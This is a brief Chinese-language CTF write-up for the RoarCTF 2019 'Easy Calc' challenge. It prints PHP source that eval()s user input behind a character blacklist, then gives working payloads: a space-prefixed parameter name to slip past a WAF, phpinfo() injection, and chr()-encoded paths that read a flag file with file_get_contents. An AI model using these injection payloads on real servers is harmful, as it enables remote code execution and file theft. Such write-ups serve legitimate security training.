[RoarCTF 2019]Easy Calc

代码审计

<?php
error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
        $str = $_GET['num'];
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
        foreach ($blacklist as $blackitem) {
                if (preg_match('/' . $blackitem . '/m', $str)) {
                        die("what are you want to do?");
                }
        }
        eval('echo '.$str.';');
}
?>

过滤了很多东西，calc.php?空格num=phpinfo();  这样，会先触发规则，删除空格，进而将一个名称为num的参数传入

 

 

由于过滤了“/”符号，我们用ASCII码chr(47)替换

直接拼接ASCII码查f1agg

calc.php?%20num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))